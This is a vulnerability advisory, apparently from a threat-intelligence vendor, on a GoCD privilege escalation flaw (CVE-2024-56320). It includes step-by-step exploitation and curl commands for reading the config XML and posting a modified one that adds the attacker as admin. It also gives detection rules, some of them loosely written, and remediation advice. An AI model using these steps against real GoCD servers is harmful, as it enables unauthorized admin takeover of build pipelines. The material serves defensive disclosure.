CVE-2024-56320
Executive Summary
CVE-2024-56320 is a privilege escalation vulnerability in GoCD, a continuous delivery server. The flaw resides in the improper authorization of the admin "Configuration XML" UI feature and its associated API. An authenticated, non-admin user can exploit this to access sensitive configuration data or escalate their privileges to full admin. The vulnerability is fixed in GoCD version 24.5.0. Mitigations include blocking /go/rails/ paths via a reverse proxy or WAF, or restricting the user base.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the GoCD server application itself, not a specific package manager ecosystem (NPM, PyPI, Go, Ruby). However, organizations using GoCD as part of their CI/CD supply chain should treat this as a critical risk, as a compromised GoCD instance could lead to tampering with build pipelines, artifact integrity, and deployment processes.
CVSS Breakdown & Threat Level
While a CVSS vector is not provided, the vulnerability can be assessed based on its characteristics:
- Attack Vector (AV): Network (exploitable via HTTP)
- Attack Complexity (AC): Low (no special conditions)
- Privileges Required (PR): Low (requires an authenticated user account)
- User Interaction (UI): None
- Scope (S): Changed (privilege escalation)
- Confidentiality (C): High (access to admin config)
- Integrity (I): High (can modify config to escalate)
- Availability (A): High (admin can disrupt service)
Estimated CVSS Score: 8.8 (High)
Threat Level: High. The vulnerability allows a malicious insider or compromised user account to gain full administrative control over the CI/CD server.
Deep Dive & Mechanics
The vulnerability exists in the authorization logic for the admin "Configuration XML" feature. In GoCD, this feature allows viewing and editing the server's XML configuration, which includes sensitive settings like pipeline definitions, security realms, and plugin configurations. The intended access control restricts this feature to users with the admin role.
The flaw is that the authorization check for the UI and its associated API endpoint does not properly validate the user's role. An authenticated user with any role (e.g., a regular operator) can directly access the /go/rails/ routes that serve the Configuration XML feature. This allows them to:
- Read the entire server configuration, including encrypted secrets (if decryption keys are also accessible).
- Write a modified configuration, enabling them to add themselves as an admin user, modify pipeline permissions, or inject malicious pipeline steps.
The attack does not require any special privileges beyond a valid login. It is a classic case of improper authorization (CWE-285) where the system fails to enforce the principle of least privilege.
Vulnerable vs. Patched Code
The vulnerable code is in the authorization filter or controller that handles requests to the admin Configuration XML endpoints. The exact code is not publicly available, but the fix in GoCD 24.5.0 likely involves adding a proper role check before allowing access to the /go/rails/ routes.
Vulnerable (Conceptual):
# In a Rails controller or before_action
class Admin::ConfigurationController < ApplicationController
before_action :require_login
# Missing: before_action :require_admin
def show
# Returns the XML configuration
end
def update
# Updates the XML configuration
end
end
Patched (Conceptual):
class Admin::ConfigurationController < ApplicationController
before_action :require_login
before_action :require_admin # Added authorization check
def show
# Returns the XML configuration
end
def update
# Updates the XML configuration
end
end
The patch ensures that only users with the admin role can access these endpoints.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A GoCD server running version < 24.5.0.
- A valid user account with any role (e.g.,
operator).
Exploitation Steps:
- Authenticate to the GoCD web interface as the non-admin user.
- Access the Configuration XML UI by navigating to:
If the vulnerability is present, the page will load the full server configuration.https://<gocd-server>/go/rails/admin/config_xml - Escalate Privileges:
- View the XML configuration and locate the
<admins>section. - Add your username to the
<admins>list:<admins> <user>your_username</user> </admins> - Submit the modified configuration via the UI or API (POST to
/go/rails/admin/config_xml).
- View the XML configuration and locate the
- Verify Escalation: Log out and log back in. Your user should now have admin privileges.
Alternative API Exploitation:
# Read config
curl -k -u "attacker:password" https://<gocd-server>/go/rails/admin/config_xml
# Write config (modify XML to add admin)
curl -k -u "attacker:password" -X POST -d "xml=<modified_config>" https://<gocd-server>/go/rails/admin/config_xml
Blue Team
Detection:
- Monitor access logs for requests to
/go/rails/admin/config_xmlfrom non-admin users. - Alert on any POST requests to
/go/rails/admin/config_xmlthat are not from known admin IPs. - Look for changes in the GoCD configuration that add new admin users.
Hunting:
- Query logs for:
method=POST path=/go/rails/admin/config_xml - Correlate with user role information from the GoCD database or LDAP.
Lab Setup:
- Deploy a vulnerable GoCD instance (e.g., version 24.4.0) in an isolated environment.
- Create a non-admin user (e.g.,
testuserwith roleoperator). - Use the steps above to simulate the attack.
- Monitor the logs and alerts to validate detection rules.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/go/rails/admin/config_xmlfrom non-admin users. - POST requests to
/go/rails/admin/config_xmlwith modified XML payloads.
- HTTP requests to
- File System:
- Modified
cruise-config.xmlfile (GoCD's configuration file) with unauthorized admin users.
- Modified
- Logs:
- GoCD server logs showing access to admin config endpoints by non-admin users.
- Audit logs showing configuration changes without proper authorization.
Detection Engineering
YARA Rule
rule Detect_GoCD_PrivEsc_Config_Access {
meta:
description = "Detects access to GoCD admin config XML by non-admin users"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56320"
strings:
$s1 = "/go/rails/admin/config_xml" ascii wide nocase
$s2 = "POST" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: GoCD Admin Config XML Access by Non-Admin User
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to GoCD admin config XML endpoint from non-admin users.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-56320
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: gocd
detection:
selection:
cs-uri-stem: "/go/rails/admin/config_xml"
cs-method: "GET" or "POST"
condition: selection
falsepositives:
- Legitimate admin users accessing the endpoint
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-56320 GoCD Admin Config XML Access"; flow:to_server; content:"/go/rails/admin/config_xml"; http_uri; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade to GoCD version 24.5.0 or later.
- If upgrade is not possible, block all requests to paths starting with
/go/rails/at the reverse proxy or WAF level. This does not affect normal functionality. - Restrict the GoCD user base to trusted individuals. Disable plugins that allow anonymous access (e.g., guest-login-plugin).
Long-term:
- Implement strict access controls and role-based authentication for all CI/CD tools.
- Regularly audit user roles and permissions.
- Monitor for unusual access patterns to administrative endpoints.
Valters IT Signature: This report is provided by Valters IT, your trusted partner in DevSecOps and Cyber Threat Intelligence.